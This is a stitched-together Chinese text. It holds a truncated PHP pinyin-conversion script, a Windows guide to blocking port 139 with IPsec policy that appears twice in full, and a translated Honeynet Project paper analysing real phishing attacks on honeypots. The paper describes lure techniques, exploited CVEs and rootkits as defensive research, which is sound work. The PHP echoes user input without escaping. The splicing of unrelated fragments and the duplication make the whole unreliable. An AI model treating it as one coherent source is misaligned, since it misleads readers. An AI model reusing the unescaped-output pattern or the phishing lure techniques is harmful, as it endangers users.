array("duan",-18741),
array("dui",-18735),
array("dun",-18731),
array("duo",-18722),
array("e",-18710),
array("en",-18697),
array("er",-18696),
array("fa",-18526),
array("fan",-18518),
array("fang",-18501),
array("fei",-18490),
array("fen",-18478),
array("feng",-18463),
array("fo",-18448),
array("fou",-18447),
array("fu",-18446),
array("ga",-18239),
array("gai",-18237),
array("gan",-18231),
array("gang",-18220),
array("gao",-18211),
array("ge",-18201),
array("gei",-18184),
array("gen",-18183),
array("geng",-18181),
array("gong",-18012),
array("gou",-17997),
array("gu",-17988),
array("gua",-17970),
array("guai",-17964),
array("guan",-17961),
array("guang",-17950),
array("gui",-17947),
array("gun",-17931),
array("guo",-17928),
array("ha",-17922),
array("hai",-17759),
array("han",-17752),
array("hang",-17733),
array("hao",-17730),
array("he",-17721),
array("hei",-17703),
array("hen",-17701),
array("heng",-17697),
array("hong",-17692),
array("hou",-17683),
array("hu",-17676),
array("hua",-17496),
array("huai",-17487),
array("huan",-17482),
array("huang",-17468),
array("hui",-17454),
array("hun",-17433),
array("huo",-17427),
array("ji",-17417),
array("jia",-17202),
array("jian",-17185),
array("jiang",-16983),
array("jiao",-16970),
array("jie",-16942),
array("jin",-16915),
array("jing",-16733),
array("jiong",-16708),
array("jiu",-16706),
array("ju",-16689),
array("juan",-16664),
array("jue",-16657),
array("jun",-16647),
array("ka",-16474),
array("kai",-16470),
array("kan",-16465),
array("kang",-16459),
array("kao",-16452),
array("ke",-16448),
array("ken",-16433),
array("keng",-16429),
array("kong",-16427),
array("kou",-16423),
array("ku",-16419),
array("kua",-16412),
array("kuai",-16407),
array("kuan",-16403),
array("kuang",-16401),
array("kui",-16393),
array("kun",-16220),
array("kuo",-16216),
array("la",-16212),
array("lai",-16205),
array("lan",-16202),
array("lang",-16187),
array("lao",-16180),
array("le",-16171),
array("lei",-16169),
array("leng",-16158),
array("li",-16155),
array("lia",-15959),
array("lian",-15958),
array("liang",-15944),
array("liao",-15933),
array("lie",-15920),
array("lin",-15915),
array("ling",-15903),
array("liu",-15889),
array("long",-15878),
array("lou",-15707),
array("lu",-15701),
array("lv",-15681),
array("luan",-15667),
array("lue",-15661),
array("lun",-15659),
array("luo",-15652),
array("ma",-15640),
array("mai",-15631),
array("man",-15625),
array("mang",-15454),
array("mao",-15448),
array("me",-15436),
array("mei",-15435),
array("men",-15419),
array("meng",-15416),
array("mi",-15408),
array("mian",-15394),
array("miao",-15385),
array("mie",-15377),
array("min",-15375),
array("ming",-15369),
array("miu",-15363),
array("mo",-15362),
array("mou",-15183),
array("mu",-15180),
array("na",-15165),
array("nai",-15158),
array("nan",-15153),
array("nang",-15150),
array("nao",-15149),
array("ne",-15144),
array("nei",-15143),
array("nen",-15141),
array("neng",-15140),
array("ni",-15139),
array("nian",-15128),
array("niang",-15121),
array("niao",-15119),
array("nie",-15117),
array("nin",-15110),
array("ning",-15109),
array("niu",-14941),
array("nong",-14937),
array("nu",-14933),
array("nv",-14930),
array("nuan",-14929),
array("nue",-14928),
array("nuo",-14926),
array("o",-14922),
array("ou",-14921),
array("pa",-14914),
array("pai",-14908),
array("pan",-14902),
array("pang",-14894),
array("pao",-14889),
array("pei",-14882),
array("pen",-14873),
array("peng",-14871),
array("pi",-14857),
array("pian",-14678),
array("piao",-14674),
array("pie",-14670),
array("pin",-14668),
array("ping",-14663),
array("po",-14654),
array("pu",-14645),
array("qi",-14630),
array("qia",-14594),
array("qian",-14429),
array("qiang",-14407),
array("qiao",-14399),
array("qie",-14384),
array("qin",-14379),
array("qing",-14368),
array("qiong",-14355),
array("qiu",-14353),
array("qu",-14345),
array("quan",-14170),
array("que",-14159),
array("qun",-14151),
array("ran",-14149),
array("rang",-14145),
array("rao",-14140),
array("re",-14137),
array("ren",-14135),
array("reng",-14125),
array("ri",-14123),
array("rong",-14122),
array("rou",-14112),
array("ru",-14109),
array("ruan",-14099),
array("rui",-14097),
array("run",-14094),
array("ruo",-14092),
array("sa",-14090),
array("sai",-14087),
array("san",-14083),
array("sang",-13917),
array("sao",-13914),
array("se",-13910),
array("sen",-13907),
array("seng",-13906),
array("sha",-13905),
array("shai",-13896),
array("shan",-13894),
array("shang",-13878),
array("shao",-13870),
array("she",-13859),
array("shen",-13847),
array("sheng",-13831),
array("shi",-13658),
array("shou",-13611),
array("shu",-13601),
array("shua",-13406),
array("shuai",-13404),
array("shuan",-13400),
array("shuang",-13398),
array("shui",-13395),
array("shun",-13391),
array("shuo",-13387),
array("si",-13383),
array("song",-13367),
array("sou",-13359),
array("su",-13356),
array("suan",-13343),
array("sui",-13340),
array("sun",-13329),
array("suo",-13326),
array("ta",-13318),
array("tai",-13147),
array("tan",-13138),
array("tang",-13120),
array("tao",-13107),
array("te",-13096),
array("teng",-13095),
array("ti",-13091),
array("tian",-13076),
array("tiao",-13068),
array("tie",-13063),
array("ting",-13060),
array("tong",-12888),
array("tou",-12875),
array("tu",-12871),
array("tuan",-12860),
array("tui",-12858),
array("tun",-12852),
array("tuo",-12849),
array("wa",-12838),
array("wai",-12831),
array("wan",-12829),
array("wang",-12812),
array("wei",-12802),
array("wen",-12607),
array("weng",-12597),
array("wo",-12594),
array("wu",-12585),
array("xi",-12556),
array("xia",-12359),
array("xian",-12346),
array("xiang",-12320),
array("xiao",-12300),
array("xie",-12120),
array("xin",-12099),
array("xing",-12089),
array("xiong",-12074),
array("xiu",-12067),
array("xu",-12058),
array("xuan",-12039),
array("xue",-11867),
array("xun",-11861),
array("ya",-11847),
array("yan",-11831),
array("yang",-11798),
array("yao",-11781),
array("ye",-11604),
array("yi",-11589),
array("yin",-11536),
array("ying",-11358),
array("yo",-11340),
array("yong",-11339),
array("you",-11324),
array("yu",-11303),
array("yuan",-11097),
array("yue",-11077),
array("yun",-11067),
array("za",-11055),
array("zai",-11052),
array("zan",-11045),
array("zang",-11041),
array("zao",-11038),
array("ze",-11024),
array("zei",-11020),
array("zen",-11019),
array("zeng",-11018),
array("zha",-11014),
array("zhai",-10838),
array("zhan",-10832),
array("zhang",-10815),
array("zhao",-10800),
array("zhe",-10790),
array("zhen",-10780),
array("zheng",-10764),
array("zhi",-10587),
array("zhong",-10544),
array("zhou",-10533),
array("zhu",-10519),
array("zhua",-10331),
array("zhuai",-10329),
array("zhuan",-10328),
array("zhuang",-10322),
array("zhui",-10315),
array("zhun",-10309),
array("zhuo",-10307),
array("zi",-10296),
array("zong",-10281),
array("zou",-10274),
array("zu",-10270),
array("zuan",-10262),
array("zui",-10260),
array("zun",-10256),
array("zuo",-10254)
);
function g($num){
global $d;
if($num>0&&$num<160){
return chr($num);
}
elseif($num<-20319||$num>-10247){
return "";
}else{
for($i=count($d)-1;$i>=0;$i--){if($d[$i][1]<=$num)break;}
return $d[$i][0];
}
}
function c($str){
$ret="";
for($i=0;$i<strlen($str);$i++){
$p=ord(substr($str,$i,1));
if($p>160){
$q=ord(substr($str,++$i,1));
$p=$p*256+$q-65536;
}
$ret.=g($p);
}
return $ret;
}
$pinyin = c($hanzi);
?>
<title>汉字转拼音</title>
<p>拼音:<?=$pinyin?><p>
<p><form action="tran.php" name="form1" method="get">汉字:<input name="hanzi" type="text" id="hanzi" size="100"><input type="submit" name="Submit" value="确定"></form></p>
手把手教你不用防火墙禁止端口
即使你对策略一点不懂也可以按照下面一步一步地完成禁用端口。
一139为例
1.开始->控制面板(或者管理)->管理工具->本地安全策略
2.右击"Ip安全策略,在 本地计算机", 选择 "管理 IP 筛选器表和筛选器操作",
<就可以启动管理 IP 筛选器表和筛选器操作对话框>
3.在"管理 IP 筛选器表"中,按"添加"按钮 <打开了 IP筛选器列表>
4.在⑴ 名称(N) 下面添上"禁止139端口" <任何名字都行,只要你知道就行>
描述(D) 也写上"禁止139端口"
⑵添加按扭 <进入 ip筛选向导 >
⑶惦记下一步 <进入筛选向导>
⑷在源地址(s): 出选择 下拉里的第二项"任何 ip 地址" 下一步
⑸在目标地址(D): 选上"我的 ip 地址" 下一步
⑹选择协议类型(S): 把"任意"选改为"tcp" 下一步
⑺设置ip协议断口: <可以看到很相似的两组选项>选择 到端口(O)
<注意不是从端口(R)> 添上你要禁止的端口"139" 下一步
⑻ 完成
5 <止此 回到了 筛选列表窗口,可以看到 筛选器(S)窗口有了信息>
看完了吗? 按确定按扭 呵呵..<将回到了 "管理 IP 筛选器表和筛选器操作"窗口>
6 惦记 "管理筛选器操作" 同4 中的⑴⑵⑶<将进入:"筛选器操作"窗口
7 呵呵当然是选择第二个"阻止"了 "下一步"--> "完成"
8 <回到了"管理 IP 筛选器表和筛选器操作"窗口>
惦记 "关闭"按扭
9 <回到了本地安全设置窗口>
右击"Ip安全策略,在 本地计算机", 选择 "创建ip安全策略"
同4 中的⑴⑵⑶进入"为此安全规则设置初始身份验证方法
不管他<使用默认项 "Active Directory 默认值(Kerberos V5 协议)>
下一步
10 出现一个警告窗口
"只有当这个规则在一台为域成员的计算机上 Kerberos 才有效。
这台计算机不是一个域成员。您想继续并保留这些规则的属性吗?"
当然"是"拉
11 惦记"完成"按扭<进入编辑属性窗口>
12 "常规" 和 "规则" 惦记 "规则" 惦记"添加"按扭
<进入 安全规则向导">
13 惦记下一步 一直下一步 出现一个同样的警告 yes
14 从ip筛选器列表(I)筐中点上第一个:"禁止139端口"前面的○成为⊙
15 同14选择 下一步 同7出现"完成"按扭 惦记
16 确定
17 关闭 属性筐<回到了本地安全策略>
18 右键 右面窗口的 "禁止139端口连接" --=>指派
即使你对策略一点不懂也可以按照下面一步一步地完成禁用端口。
一139为例
1.开始->控制面板(或者管理)->管理工具->本地安全策略
2.右击"Ip安全策略,在 本地计算机", 选择 "管理 IP 筛选器表和筛选器操作",
<就可以启动管理 IP 筛选器表和筛选器操作对话框>
3.在"管理 IP 筛选器表"中,按"添加"按钮 <打开了 IP筛选器列表>
4.在⑴ 名称(N) 下面添上"禁止139端口" <任何名字都行,只要你知道就行>
描述(D) 也写上"禁止139端口"
⑵添加按扭 <进入 ip筛选向导 >
⑶惦记下一步 <进入筛选向导>
⑷在源地址(s): 出选择 下拉里的第二项"任何 ip 地址" 下一步
⑸在目标地址(D): 选上"我的 ip 地址" 下一步
⑹选择协议类型(S): 把"任意"选改为"tcp" 下一步
⑺设置ip协议断口: <可以看到很相似的两组选项>选择 到端口(O)
<注意不是从端口(R)> 添上你要禁止的端口"139" 下一步
⑻ 完成
5 <止此 回到了 筛选列表窗口,可以看到 筛选器(S)窗口有了信息>
看完了吗? 按确定按扭 呵呵..<将回到了 "管理 IP 筛选器表和筛选器操作"窗口>
6 惦记 "管理筛选器操作" 同4 中的⑴⑵⑶<将进入:"筛选器操作"窗口
7 呵呵当然是选择第二个"阻止"了 "下一步"--> "完成"
8 <回到了"管理 IP 筛选器表和筛选器操作"窗口>
惦记 "关闭"按扭
9 <回到了本地安全设置窗口>
右击"Ip安全策略,在 本地计算机", 选择 "创建ip安全策略"
同4 中的⑴⑵⑶进入"为此安全规则设置初始身份验证方法
不管他<使用默认项 "Active Directory 默认值(Kerberos V5 协议)>
下一步
10 出现一个警告窗口
"只有当这个规则在一台为域成员的计算机上 Kerberos 才有效。
这台计算机不是一个域成员。您想继续并保留这些规则的属性吗?"
当然"是"拉
11 惦记"完成"按扭<进入编辑属性窗口>
12 "常规" 和 "规则" 惦记 "规则" 惦记"添加"按扭
<进入 安全规则向导">
13 惦记下一步 一直下一步 出现一个同样的警告 yes
14 从ip筛选器列表(I)筐中点上第一个:"禁止139端口"前面的○成为⊙
15 同14选择 下一步 同7出现"完成"按扭 惦记
16 确定
17 关闭 属性筐<回到了本地安全策略>
18 右键 右面窗口的 "禁止139端口连接" --=>指派
了解你的敌人:网络钓鱼
在网络钓鱼攻击的幕后
蜜网项目组 & 蜜网研究联盟
http://www.honeynet.org
最后修改日期: 2005 年 5 月 16 日
翻译者artemis:诸葛建伟
网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们可以假冒受害者进行欺诈性金融交易,从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并用于犯罪的目的。这篇“了解你的敌人”文章旨在基于 德国蜜网项目组 和 英国蜜网项目组 所搜集到的攻击数据给出网络钓鱼攻击的一些实际案例分析。这篇文章关注于由蜜网项目组在实际环境中发现的真实存在的网络钓鱼攻击案例,但不会覆盖所有可能存在的网络钓鱼攻击方法和技术。攻击者也在不断地进行技术创新和发展,目前也应该有(本文未提及的)新的网络钓鱼技术已经在开发中,甚至使用中。
在给出一个简要的引言和背景介绍后,我们将回顾钓鱼者实际使用的技术和工具,给出使用蜜网技术捕获真实世界中的网络钓鱼攻击的三个实验型研究的案例。这些攻击案例将详细地进行描述,包括系统入侵、钓鱼网站架设、消息传播和数据收集等阶段。随后,将对其中普遍应用的技术及网络钓鱼、垃圾邮件和僵尸网络等技术进行融合的趋势给出分析。钓鱼者使用恶意软件进行自动化地 Email 地址收集和垃圾邮件发送的案例也将被回顾,同时我们也将展示我们在网络扫描技术及被攻陷主机如何被用于传播钓鱼邮件和其他垃圾邮件上的发现。最后,我们对本文给出结论,包括我们在最近 6 个月内获得的经验,以及我们建议的进一步研究的客体。
这篇文章包括了丰富的支持性信息,提供了包含特定的网络钓鱼攻击案例更详细数据的链接。最后声明一下,在研究过程中,我们没有收集任何机密性的个人数据。在一些案例中,我们与被涉及网络钓鱼攻击的组织进行了直接联系,或者将这些攻击相关的数据转交给当地的应急响应组织。
引言
欺骗别人给出口令或其他敏感信息的方法在黑客界已经有一个悠久的历史。传统上,这种行为一般以社交工程的方式进行。在二十世纪九十年代,随着互联网所连接的主机系统和用户量的飞速增长,攻击者开始将这个过程自动化,从而攻击数量巨大的互联网用户群体。最早系统性地对这种攻击行为进行的研究工作在 1998 年由 Gordon 和 Chess 发表。( Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet , presented at the Virus Bulletin Conference in Munich, Germany, October 1998 ) Gordon 和 Chess 研究针对 AOL (美国在线)的恶意软件,但实际上他们面对的是网络钓鱼的企图而不是他们所期望的特洛伊木马攻击。网络钓鱼 (Phishing) 这个词 (password harvesting fishing) 描述了通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式,而欺骗手段一般是假冒成确实需要这些信息的可信方。 Gordon 和 Chess 描述的一个钓鱼信件如下所示:
Sector 4G 9E of our data base has lost all I/O functions. When your account
logged onto our system, we were temporarily able to verify it as a
registered user. Approximately 94 seconds ago, your verification was made
void by loss of data in the Sector 4G 9E. Now, due to AOL verification
protocol, it is mandatory for us to re-verify you. Please click 'Respond' and
re-state your password. Failure to comply will result in immediate account
deletion.
早期的网络钓鱼攻击主要目的是获得受害者的 AOL 账号的访问权,偶尔也期望获取信用卡数据以用于欺诈目的 ( 如非法买卖这些信息 ) 。这些钓鱼的信件通常包含一个简单的诡计从而哄骗一些“菜鸟”用户,这些欺骗手段很大程度依赖于受害者对“自动化的”系统功能或权威机构的(表面)轮廓的先天性信任,前面的例子中给出一个硬件设备故障或数据库毁坏的情节,大部分的普通用户将会重视任何看起来正式的、或看起来向是为他们提供帮助的紧急的技术上的要求,用户通常会被催促尽快输入其敏感信息从而避免严重后果,如“ … 重新输入你的口令,如未及时输入则将导致直接删除账号”。为了避免可能潜在的严重的后果,受害者通常立即照做,从而不知不觉地将这些使用此社交工程手段的黑客所需要的敏感数据提供给了他们。事后的证据表明这些黑客都是单独行动,或是以一个小而简单的组织形式活动。一些文献也描述了早期的网络钓鱼者大多是一些期望获得更多账号数据去恶作剧及打长途电话的青少年,通常没有很强的组织性和蓄意性。
现在,钓鱼者所首选的策略是通过大量散发诱骗邮件,冒充成一个可信的组织机构(通常是那些钓鱼者所期望的已经被受害者所信任的机构),去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求,而具有讽刺意义的是通常其理由是保护用户的机密性数据免受恶意活动的侵害,这封欺骗性的电子邮件将会包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗,从而向这个假的、但看起来是目标机构的“官方”网站的网页接口输入他们的机密信息。被钓鱼者所青睐的目标机构包括很多著名的银行,信用卡公司和涉及日常性支付行为的知名互联网商务网站(如 eBay 和 Paypal 等 )。大量针对互联网用户的钓鱼邮件的实例可以在反网络钓鱼工作组 ( Anti-Phishing Working Group ) 的网站上 的 钓鱼邮件归档 中 可以获得,其中许多邮件都显示了钓鱼者可以欺骗无知的用户相信他们正在访问一个合法的网页接口的极高精确性。
在这个简要介绍网络钓鱼概念的引言之后,我们将开始回顾在我们观察到的真实网络钓鱼攻击中所实际使用的技术和工具。如果你对网络钓鱼的更深入的背景知识感兴趣,我们为你准备了 具体的背景信息 这个页面。
工具和策略
网络钓鱼攻击一般仅利用一些简单的工具和技术来欺骗无戒备心的用户。支撑一次网络钓鱼攻击的底层基础设施可以是最基本的简单地拷贝一个 HTML 页面,上传到一个刚刚攻陷的网站服务器,以及一个服务器端的用来处理用户输入数据的脚本,也可能涉及更为复杂的网站及内容重定向,但他们的底层目标是一致的——架设一个假冒可信机构的网站,并部署一些必需的后台脚本处理用户的输入数据并让攻击者获取。使用最新的 HTML 编辑工具可以非常容易地构建出模仿目标组织机构的网站,同时如果攻击者不介意扫描互联网 IP 地址空间以寻找潜在的有漏洞的主机,缺乏有效的安全防护的网站服务器也能够非常容易地找到并被攻陷。一旦被攻陷,即使是家庭用的 PC 主机都可以作为钓鱼网站的宿主主机,所以钓鱼者的攻击目标不仅仅是知名的企业和学院里的系统。攻击者经常不分青红皂白地去选择他们的目标主机,而仅仅是在一个大的 IP 地址空间中随机地扫描,寻找可被利用的特定的安全漏洞。
一旦钓鱼者建立起一个模仿可信机构的真实且能够让人信以为真的假冒网站后,对他们的重要挑战是如何将用户从一个合法的网站转移到访问他们所架设的假冒网站。除非钓鱼者有能力去改变目标网站的 DNS 解析(称为 DNS 中毒攻击 )或采取其他方式对网络流量进行重定向(称为 pharming 的一种技术 ),他们必须依赖某种形式的内容上的欺骗技巧,去引诱不幸的用户去访问假冒的网站。欺骗技巧的质量越高,他们所撒的渔网就越宽,一个无知的用户错误地访问这个假冒网站(并提供给钓鱼者他的机密信息和私人数据)的机会就越大。
对攻击者不幸的是,当他们假冒一个组织结构(如一个银行或可信的商务网站),钓鱼者通常没有任何互联网上哪些用户属于他们的客户此类信息,也就不知道哪些用户最容易上钩。即使钓鱼者可以将指向假冒网站的链接发布到与目标机构相关的一些聊天室或论坛上(如一个技术支持网站或网络社区谈论组),目标机构很可能比较迅速地被通知并做出反应,这个链接也会在很多受害者访问它所指向的内容并提交他们的个人信息前被清除。同时对钓鱼者也存在一个显著的风险,目标机构或法律执行部门可能会追踪并关闭这些假冒的网站。因此,钓鱼者需要一个方法,能够在尽量减少他们所承担的风险的同时,在短时间内欺骗尽可能多的潜在受害群体,他们找到了理想的犯罪搭档——垃圾邮件。
垃圾邮件发送者拥有包括几百万使用中电子邮件地址的数据库,因此最新的垃圾邮件群发技术可以用来帮助一个钓鱼者低风险广泛地发布他们的诱骗邮件。垃圾邮件通常通过一些被攻陷的架设在境外主机上的邮件服务器,或是通过一个全球的傀儡主机网络 ( botnets ) 进行发送,因此邮件发送者被追踪的可能性将会很小。如果一个无戒备心的用户收到一封看起来像是由他们的银行所发来的,带有银行正式标志的电子邮件,要求他们访问一个看起来与银行官方网站一摸一样的网站并由于安全理由更改他们在线的银行口令,这比起那些介绍新奇产品并链接到未知网站的普通垃圾邮件来更可能使得用户上当。为了增加用户相信这个邮件是真实的可能性,钓鱼者会应用一些另外的技术来进一步提高他们所进行的诱捕手段的质量:
在指向假冒网站的链接中使用 IP 地址代替域名。一些无戒备心的用户将不会检查(或不知道如何检查)这个 IP 地址是否来自假冒网站页面上所声称的目标机构。
注册发音相近或形似的 DNS 域名(如 b1gbank.com 或 bigbnk.com 假冒 bigbank.com ),并在上面架设假冒网站,期望用户不会发现他们之间的差异。
在一个假冒钓鱼网站的电子邮件 HTML 内容中嵌入一些指向真实的目标网站的链接,从而使得用户的网站浏览器的大多数 HTTP 连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持 HTML 内容的自动获取,那会在电子邮件被读取的时候自动地连接假冒网站,手动地浏览也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。
对假冒网站的 URL 进行编码和混淆,很多用户不会注意到或者理解 URL 链接被做过什么处理,并会假设它是良性的。 IDN 欺骗技术( IDN spoofing )就是这样的一种技术,它使用 Unicode 编码的 URL 在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址。
企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的 IE 和 Outlook 都被发现过存在可以被这种技术攻击的漏洞(如 地址栏假冒 和 IFrame element 漏洞 )。
将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站。这将导致一个“口令错误,请重试”错误,或甚至完全透明,但在每种情况下,大部分用户都不会发觉,更相信是自己的错误输入,而不会想到是由于恶意第三方的干涉。
架设一个假冒网站,作为目标机构真实网站的代理,并偷摸地记录未使用 SSL 加密保护的口令信息(或甚至为假冒的域名注册一个有效的 SSL 证书从而对 SSL 加密保护的口令信息进行记录)。
首先通过恶意软件在受害者的 PC 上首先安装一个恶意的浏览器助手工具( Browser Helper Object ),然后由其将受害者重定向到假冒的钓鱼网站。 BHO 是一些设计用于定制和控制 IE 浏览器的 DLL ,如果成功,受害者将会被欺骗,相信他们正在访问合法的网站内容,然而实际上却在访问一个假冒的钓鱼网站。
使用恶意软件去修改受害者 PC 上的用来维护本地 DNS 域名和 IP 地址映射的 hosts 文件,这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时,却让用户看起来像是访问目标机构的合法网站。
由于很多电子商务或在线银行应用的复杂性,他们的网站经常使用 HTML 框架结构或其他复杂的页面结构架设,这也可能使得一个终端用户很难判断一个特定的网页是否合法。上述列举的这些技术的组合使用可以隐藏一个精心设计的网页的真实来源,也使得一个无戒备心的用户很可能被引诱去访问钓鱼者的假冒网站,不知不觉地泄漏他们的认证口令信息和所需要的数字身份信息,从而成为一次成功的网络钓鱼攻击的又一个受害者。
真实世界的网络钓鱼技术
互联网用户也经常在他们自己收到欺骗性邮件发觉网络钓鱼攻击,也常常在钓鱼网站所临时架设的主机被 关闭很长时间后在 技术新闻站点上看到这些恶意网站的记录副本,但这些事件只能被孤立从受害者的角度去观察。蜜网技术能够提供的一个最大的优势在于其能够从攻击者角度捕获全部行为的能力,使得安全分析员能够对网络钓鱼攻击的整个生命周期建立起一个完整的理解,来自蜜网研究联盟的成员们非常幸运地捕获了丰富的网络钓鱼攻击数据集,能够帮助他们了解真实的一次网络钓鱼攻击的全过程,从最初主机被攻陷、钓鱼网站的架设、群发垃圾邮件、到最后的受害者数据捕获。三个反映典型的真实世界网络钓鱼攻击技术的实际案例将在下面被展示和分析。
第一种网络钓鱼技术-通过攻陷的网站服务器钓鱼
大部分我们观察到真实世界中的网络钓鱼攻击涉及到攻击者攻入有漏洞的服务器,并安装恶意的网页内容。蜜网技术使得我们可以捕获一次网络钓鱼攻击的生命周期中的详细数据,在我们观察到的这些攻击事件中,普遍地存在如下一些事件:
攻击者扫描网段,寻找有漏洞的服务器
服务器被攻陷,并安装一个 rootkit 或口令保护的后门工具
钓鱼者从加密的后门工具获得对服务器的访问权
如果这个被攻陷的服务器是一个网站服务器,则下载已构建完毕的钓鱼网站内容
进行有限的一些内容配置和网站测试工作(这也潜在地预示着第一次访问钓鱼网站的 IP 地址可能是钓鱼者的真实 IP 地址)
群发电子邮件工具被下载,并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问恶意的网页内容
通常情况下,网站钓鱼攻击的生命周期从钓鱼网站发布到互联网上后只有几个小时或几天的时间,我们的研究也发现网络钓鱼攻击在多台服务器上针对多个组织机构在同时并行进行。我们将使用两个典型的网络钓鱼攻击的实际案例所捕获的数据来进行阐述这些原理,其中一个案例是由德国蜜网项目组观察到,另一个由英国蜜网项目组观察到。在每个案例中,蜜网研究联盟的成员们都部署了有漏洞的 Linux 蜜罐,对这两个蜜罐的攻陷过程显示了相同的攻击模式:蜜罐的被扫描和被攻陷具有非常强的连续性,并包括预先创建的钓鱼网站和群发垃圾邮件工具的上传和使用。与我们观察到的几次其他的案例中类似, Rootkit 和 IRC 服务器也同时在攻击过程中被安装,被攻陷的蜜罐同时被用以除网络钓鱼外的其他目的:如作为一个由罗马尼亚攻击者控制的 IRC 傀儡主机,同时也作为一个网络扫描器用以发现和攻击更多潜在的计算机(尽管蜜网体系框架阻止攻击者从被攻陷的蜜罐成功的攻击其他的服务器)。一些令人关注的差异也是非常显然的,不仅仅是在英国蜜网项目组观察到的案例中,也就是多个不同的组织几乎同时访问了被攻陷的主机,使得取证分析更加复杂。由于篇幅的限制,我们没有在本文中给出这些攻击的具体细节,而仅仅给出了我们所得到的经验以及钓鱼者如何进行网络钓鱼攻击。如果你对这些特定的攻击过程的更多具体细节感兴趣,你可以访问以下页面中的信息。
蜜网配置概要介绍
德国蜜罐攻陷案例的具体细节
英国蜜罐攻陷案例的具体细节(时间表)
英国蜜罐攻陷案例的具体细节(内容分析)
下面的表格展示了在这两个案例中关键的因素及其差异的概要 分析 :
数据
德国案例
英国案例
被攻陷的蜜罐
Redhat Linux 7.1 x86.
Redhat Linux 7.3 x86.
部署位置
德国企业网络
英国 ISP 数据中心
攻击方法
"Superwu" autorooter.
"Mole" mass scanner.
被利用的漏洞
Wu-Ftpd File globbing heap corruption vulnerability ( CVE-2001-0550 ).
NETBIOS SMB trans2open buffer overflow ( CAN-2003-0201 ).
获得的访问权限
Root.
Root.
安装的 Rootkit
Simple rootkit that backdoors several binaries.
SHV4 rootkit.
可能的攻击者
未知
来自罗马尼亚康斯坦萨的拨号 IP 网络的多个组织
网站行为
下载多个构建好的以 eBay 和多家美国银行为目标的钓鱼网站
下载一个预先构建的以一家美国主要银行为目标的钓鱼网站
服务器端后台处理
用于验证用户输入的 PHP script
拥有更高级用户输入验证和数据分类的 PHP script
电子邮件活动
企图发送垃圾邮件 ( example 1 , example 2 ), 但被 Honeywall 所拦截 .
仅测试了邮件发送,可能是给钓鱼者同伙, Improved syntax and presentation.
群发电子邮件方法
从一个中量级 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script
从一个小量级的 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script – 可能仅仅是一次测试 .
受害者是否到达钓鱼网站
没有,垃圾邮件的发送和对钓鱼网站的访问被阻断
有,在 4 天内有 265 个 HTTP 请求到达,但不是因为从服务器发出的垃圾邮件所吸引的 ( 没有客户的个人信息被收集 ).
从对两个案例中钓鱼者的键击记录(使用 Sebek 捕获)的观察发现,攻击者在连接到已存在的后满后,立即开始工作,部署他们的钓鱼网站。这些攻击者的动作显示他们对服务器的环境非常熟悉,这也说明他们是前期攻陷这些蜜罐的组织中的成员,而且钓鱼攻击的整个企图也是非常明显且具有组织性的。从上传的网站内容经常指向其他的网站服务器和 IP 地址看来,很可能这些活动同时在多台服务器上同时在进行中。
从对在这些案例中由攻击者下载的钓鱼网站内容的分析中可以明显的看出,钓鱼者在同时以多个知名的在线组织结构为假冒目标。预先精心构造、有官方标志的假冒钓鱼网站被例行性地部署到被攻陷的主机上-经常通过以不同的网页服务器根目录进行分离的“子站点”来同时架设多个组织结构的钓鱼网站,同时安装将垃圾邮件传播给潜在的受害者的必需工具。在英国蜜网项目组观察到的案例中,从 FTP 会话所列出的目录列表中可以确认这些攻击者已经很深的卷入垃圾邮件和网络钓鱼攻击中,预先构建的网站内容和邮件传播攻击被集中存放在一个集中的服务器上,并且看起来攻击的目标至少针对 eBay 、 AOL 和其他几个知名的美国银行。这些个别的网络钓鱼攻击看起来并不是隔离的单独的攻击事件,因为在这些案例中发布的垃圾邮件通常将受害者指向到几个同时存在的假冒网站服务器,同时这些垃圾邮件也同时是从多个系统中发出。从英国案例中蜜罐被攻击后第一个连入对钓鱼网站内容的 HTTP 请求也预示着并行的网络钓鱼攻击操作在进行。
这个连入蜜罐的 HTTP 连接在攻击者在这台蜜罐主机上架设假冒的在线银行网站之前就已经发生,这确认了攻击者已经预先知道这台服务器可以被用来作为一个钓鱼网站的假设。在攻击者在架设这个钓鱼网站的同时,引诱受害者访问这个新钓鱼网站的垃圾邮件已经从另外一台主机上发出。
我们对连入被攻陷的蜜罐请求假冒在线银行内容的 HTTP 请求连接的源 IP 地址数量和范围感到震惊。下面的图给出了在蜜罐从网络中断开前从各个 IP 地址访问钓鱼网站的 HTTP 请求的数目(包括每个 IP 单独计算和全部的 HTTP 请求)。
访问英国蜜网项目组部署蜜罐上的钓鱼网站内容的源 IP 地址的顶层 DNS 域名、国家和主机操作系统的列表见 此页面 。要注意的是,在蜜罐被离线进行取证分析之前,尽管访问钓鱼网站的网页流量到达英国蜜网项目组部署的蜜罐,但并没有针对处理用户数据处理的 PHP 脚本的 HTTP POST 请求,因此在此次网络钓鱼攻击中,没有任何用户的信息被钓鱼者和我们获得。在本文提及的所有案例中,我们或是直接通报了目标机构关于攻击案例和任何相关的他们所需的相关数据,或是向当地的计算机应急响应组通报了所有相关的恶意行为。在所有案例中,没有任何受害者的私人信息被蜜网项目组和蜜网研究联盟的成员所捕获。
